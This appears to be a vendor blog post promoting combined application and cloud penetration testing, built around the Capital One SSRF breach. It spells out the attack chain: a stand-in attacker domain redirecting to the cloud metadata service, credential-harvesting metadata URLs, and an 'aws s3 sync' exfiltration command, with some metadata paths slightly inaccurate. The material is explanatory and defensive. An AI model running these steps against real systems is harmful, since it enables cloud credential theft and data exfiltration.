From Web App to Cloud Compromise

Why You Need Both Application and Cloud Penetration Testing

A penetration test would have found the SSRF and demonstrated the full attack chain before a real attacker did.

A single overlooked vulnerability in your web application can hand attackers the keys to your entire cloud infrastructure. This post walks through how it happens, references real breaches, and explains why testing both layers is non-negotiable.

Why Your Prospects Ask for Penetration Test Reports

For SaaS companies selling into enterprise accounts, the penetration test report has become a non-negotiable part of the security questionnaire. Procurement teams, CISOs, and compliance officers want third-party validation before they trust your platform with their data. A clean pentest report signals credibility—it tells buyers that an independent team tried to break in and couldn’t, or that you fixed what they found.

The problem: a web application penetration test that doesn’t examine cloud infrastructure leaves a glaring gap. Sophisticated buyers know this. They’ll ask whether your assessment covered IAM configurations, metadata service protections, and cross-service privilege escalation.

The Attack That Changed Everything

In March 2019, an attacker compromised Capital One through a single SSRF vulnerability, ultimately exfiltrating 30GB of data from over 700 S3 buckets—affecting 106 million customers. The attack wasn’t discovered until July 19, 2019, four months later, and only because someone reported leaked data on GitHub. Capital One’s own monitoring never caught it.

This wasn’t a failure of one security control. It was a failure of layered defense—and it illustrates exactly why organizations need both web application and cloud penetration testing.

Anatomy of an SSRF-to-Cloud-Takeover Attack

Let’s walk through how this attack chain works in practice.

Stage 1: Finding the SSRF

The attacker probes a SaaS application for functionality that makes outbound requests. Common targets include:

Webhook integrations — “Enter a URL and we’ll POST updates to it”
URL preview features — “Paste a link and we’ll fetch the thumbnail”
PDF generators — “Enter a URL and we’ll convert it to PDF”
Import functionality — “Provide a URL to import data from”

In Capital One’s case, a misconfigured ModSecurity WAF allowed the attacker to relay requests to internal services. The developer validated that URLs start with https://—but forgot that attackers control DNS.

The attacker registers a domain and configures it to redirect:

https://attacker-controlled.com → http://169.254.169.254/

The server follows the redirect. Suddenly, an external user is making the application server request its own cloud metadata.

Stage 2: Harvesting Cloud Credentials

AWS (and other cloud providers) run a metadata service at 169.254.169.254—a link-local address accessible only from within the cloud environment. This service provides instances with temporary security credentials for their assigned IAM role.

The attacker crafts requests through the SSRF to enumerate the metadata:

http://169.254.169.254/iam/security-credentials/

This returns the name of the IAM role attached to the instance. In Capital One’s case, this was literally *****-WAF-Role—the firewall itself had cloud credentials. One more request:

http://169.254.169.254/iam/security-credentials/*****-WAF-Role

And the server responds with:

{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "wJalrXUtnFEMI...",
  "Token": "FwoGZXIvYXdzEBY...",
  "Expiration": "2024-12-20T12:00:00Z"
}

The attacker now has valid AWS credentials—credentials that were never meant to leave that server.

Stage 3: Privilege Escalation and Data Exfiltration

The IAM role attached to the web application had excessive permissions. The attacker uses these credentials from their own machine:

export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI...
export AWS_SESSION_TOKEN=FwoGZXIvYXdzEBY...

# List S3 buckets
aws s3 ls

# Download customer data
aws s3 sync s3://customer-data-prod ./exfil/

From Capital One’s FBI indictment: the attacker ran the ls command to list all S3 buckets, then used sync to copy nearly 30 GB of credit application data from 700+ buckets to their local machine.

This Happens More Than You Think

Capital One isn’t an outlier. The same attack pattern appears repeatedly in bug bounty disclosures:

Shopify Exchange ($25,000) — SSRF led to Google Cloud metadata access and full Kubernetes cluster takeover
Dropbox HelloSign ($4,913) — SSRF in document import feature exposed AWS access keys
GitLab ($10,000+) — CI runners didn’t restrict metadata API access, exposing private keys
Snapchat ($4,000) — JavaScript SSRF exfiltrated Google Cloud metadata
Vimeo ($5,000) — Upload function leaked internal Google Cloud data including SSH keys

These were caught by security researchers before exploitation. Most organizations don’t have bug bounty programs.

Why Traditional Security Assessments Miss This

Web Application Testing Alone Isn’t Enough

A traditional web application penetration test might identify the SSRF vulnerability. A good tester would note: “The application makes server-side requests to user-controlled URLs. An attacker could potentially access internal resources.”

But without cloud context, the report stops there. The tester doesn’t know:

What IAM role is attached to the application
What permissions that role has
Whether IMDSv2 is enforced
What sensitive data exists in connected cloud services

The finding gets rated as “Medium” severity. It sits in a backlog. Six months later, an attacker exploits it.

Cloud Security Assessments Alone Aren’t Enough

A cloud security assessment or CSPM scan might flag:

“IAM role has overly permissive S3 access”
“Instance metadata service v1 is enabled”
“Role can assume other roles without MFA”

But without application context, these findings lack teeth. The security team asks: “Who can actually reach this instance? How would an attacker get these credentials?” Without a demonstrated attack path, the findings feel theoretical.

Capital One had all the logs. The FBI report confirms this. But their monitoring never detected the attack because they weren’t correlating application-layer vulnerabilities with cloud-layer access patterns.

What Proper Testing Looks Like

Web Application Penetration Testing Should Include:

SSRF-specific testing — Protocol handlers, DNS rebinding, redirect following, cloud metadata endpoints
Cloud-aware exploitation — When SSRF is found, immediately attempt metadata service access and credential harvesting
Business logic testing — Understanding where server-side requests occur in application workflows

Cloud Penetration Testing Should Include:

IAM analysis — Not just policy review, but active testing of blast radius if credentials leak
Credential exposure assessment — Metadata services, environment variables, hardcoded secrets
Data access validation — Testing whether application credentials can access S3, Secrets Manager, databases

Defensive Recommendations

Mitigate SSRF at the Application Layer

Allowlist, don’t blocklist — Only permit requests to known-good domains
Disable redirects — Or validate the destination after each redirect
Use a proxy — Route outbound requests through a controlled gateway

Harden Cloud Metadata Access

Enforce IMDSv2, which requires session tokens and blocks most SSRF attacks:

aws ec2 modify-instance-metadata-options \
  --instance-id i-1234567890abcdef0 \
  --http-tokens required \
  --http-endpoint enabled

Apply least privilege to every IAM role. The WAF role at Capital One should never have had S3 access.

Notes:

The attack chain from SSRF to cloud compromise is one of the most common paths attackers use to breach modern organizations.
Web application testing finds the entry point. Cloud penetration testing reveals the blast radius. Together, they show you what an attacker would actually achieve.
If you’re only doing one or the other, you’re only seeing half the picture.
Capital One was compliant with NIST CSF, SOX, and banking regulations. Compliance didn’t prevent the breach—proper security testing would have.